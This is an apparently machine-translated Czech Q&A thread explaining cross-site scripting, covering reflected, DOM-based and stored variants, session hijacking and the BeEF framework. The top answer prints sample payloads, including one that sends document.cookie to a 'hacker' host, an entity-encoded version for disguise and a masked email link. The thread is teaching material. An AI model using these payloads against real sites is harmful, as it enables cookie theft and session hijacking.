it-swarm-eu.dev

Jak funguje XSS?

Mám velmi málo zkušeností s vývojem webu, ale zajímám se o bezpečnost. Nerozuměl jsem však, jak XSS funguje. Můžete mi to vysvětlit? Článek Wikipedie mi dává dobrý nápad, ale nemyslím si, že tomu rozumím velmi dobře.

89
Ither

XSS - Skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami)

XSS se obvykle prezentuje třemi různými způsoby:

Netrvalé (často nazývané odrážené XSS)

To je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. To lze často využít distribucí (obvykle nevinně vypadající) URL v nějaké formě nebo způsobem, na který mohou ostatní kliknout.

To může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. Dokud můžete někoho přimět kliknout na adresu URL, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.

Příklad:

Web obsahující vyhledávací pole nemá řádný dezinfekční vstup. Vytvořením vyhledávacího dotazu vypadajícího takto:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. Pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich ID relace a Hijack relaci.

Použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy IM, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.

založené na DOM

Velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. Často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru URL.

Příklad:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Zločinci samozřejmě upraví URL tak, aby vypadala nevinněji. Stejné užitečné zatížení jako výše jen kódováno jinak:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

Můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují HTML, jako je tento:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Perzistentní

Jakmile dokážete vydržet vektor XSS, útok se stane mnohem nebezpečnějším velmi rychle. Přetrvávající XSS se odráží zpět ze serveru, obvykle proto, že byl XSS uložen v databázovém poli nebo podobně. Zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:

<input type="text" value="Your name" />

Pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se XSS odráží zpět).

Tyto druhy XSS mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. Stačí se podívat na červ XSS s názvem Samy worm !

V počátečních dnech XSS jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.


Dva útočné vektory

Nyní, když znáte různé způsoby poskytování užitečného zatížení XSS, rád bych zmínil několik útočných vektorů XSS, které mohou být velmi nebezpečné:

  • XSS defacement

    Defacence XSS není obtížné dosáhnout. Pokud je XSS také perzistentní, může být pro sysadminy obtížné to zjistit. Podívejte se na RSnake Stallowned "útok", který odstranil Amazonovu funkci náhledu knihy. Docela vtipné čtení.

  • Cookie krást a únos relace

    Stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. Zachycení ID relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.

Omlouváme se za dlouhý příspěvek. Teď se zastavím. Jak ale můžete vidět, XSS je velmi velké téma. Doufám, že jsem vám to trochu objasnil.


Využití XSS pomocí BeEF

Chcete-li snadno zjistit, jak lze XSS využít, doporučuji vyzkoušet BeEF , Browser Exploitation Framework. Jakmile je rozbalen a spuštěn na webovém serveru s podporou PHP=), můžete snadno zkusit simulaci oběti (tzv. Zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení XSS. :

  • Lokální síť Portscan
  • Pingsweep místní síť
  • Pošlete virus infikovaný applet, podepsaný a připraven
  • Odesílejte zprávy klientovi
  • Proveďte Skype hovor

Seznam pokračuje. Doporučujeme vidět video na domovské stránce BeEF.

UPDATE: Udělal jsem zápis na XSS na svém blogu, který popisuje XSS. Obsahuje trochu o historii XSS, různých typech útoků a některých případech použití včetně BeEF a Shank.

80
Chris Dale

Chcete-li prasátko-zpět na to, co SteveSyfuhs řekl, existuje mnoho možných škodlivých způsobů, jak XSS lze použít.

Příklady:

Jedním příkladem by bylo vložení škodlivého kódu do databázového pole. Následně, kdykoli se toto pole zobrazí koncovému uživateli neanitizovaném, jeho prohlížeč provede kód. Tomu se říká Trvalé/uložené skriptování mezi stránkami.

Další možností by byla možnost vložit kód do parametrů GET nebo POST), aniž by byly validovány nebo dezinfikovány. Když tyto proměnné změní obsah vaší stránky, upravená data se zobrazí konečnému uživateli. a jejich prohlížeč by pak provedl škodlivý kód. Obvykle se vyskytuje v škodlivých odkazech prostřednictvím e-mailu/webu, které tyto parametry GET odesílají, když někdo klikne na odkaz. Tomu se říká Reflected Cross Site Scripting.

Zdroje:

Fortify Software má skvělý zdroj pro vysvětlení zranitelností a uvedení příkladů: https://www.fortify.com/vulncat/en/vulncat /index.html

  • Klikněte na požadovaný jazyk a v části Ověření vstupu a
    Reprezentace si můžete vybrat z různých typů Cross Site
    Skriptovací chyby, jak jsou definovány Fortify Software.

[~ # ~] owasp [~ # ~] má skvělý zdroj pro vysvětlení, jak zabránit zranitelnostem XSS: http: // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS je o propuštění libovolných dat do systému a pak ukazuje, že data nemodifikovaná uživateli. Pokud jsem si nějaký js uložil do svého profilu a přiměl jsem někoho, aby si prohlédl tuto stránku, spustil by js. Jako příklad bych mohl nechat odesílat obsah souboru cookie uživatelů do mé webové služby, což mi umožňuje dělat cokoli, co chci s jejich cookies, jako je například ukrást jejich relaci.

9
Steve

Stručně řečeno, skriptování napříč weby trikuje webový prohlížeč ve spuštění škodlivého kódu, protože vývojáři nekontrolovali nedůvěryhodný vstup.

Pokud tedy provedete příklad útoku XSS, nedůvěryhodným vstupem může být parametr adresy URL obsahující JavaScript. Vývojář předpokládá, že parametr obsahuje pouze data (nebo je dostatečně nekontroluje) a jednoduše přidá obsah parametru na stránku HTML. Prohlížeč poté poslušně spustí JavaScript a vy máte odrazený útok XSS.

Více informací naleznete zde: stránka OWASP XSS

8
Ventral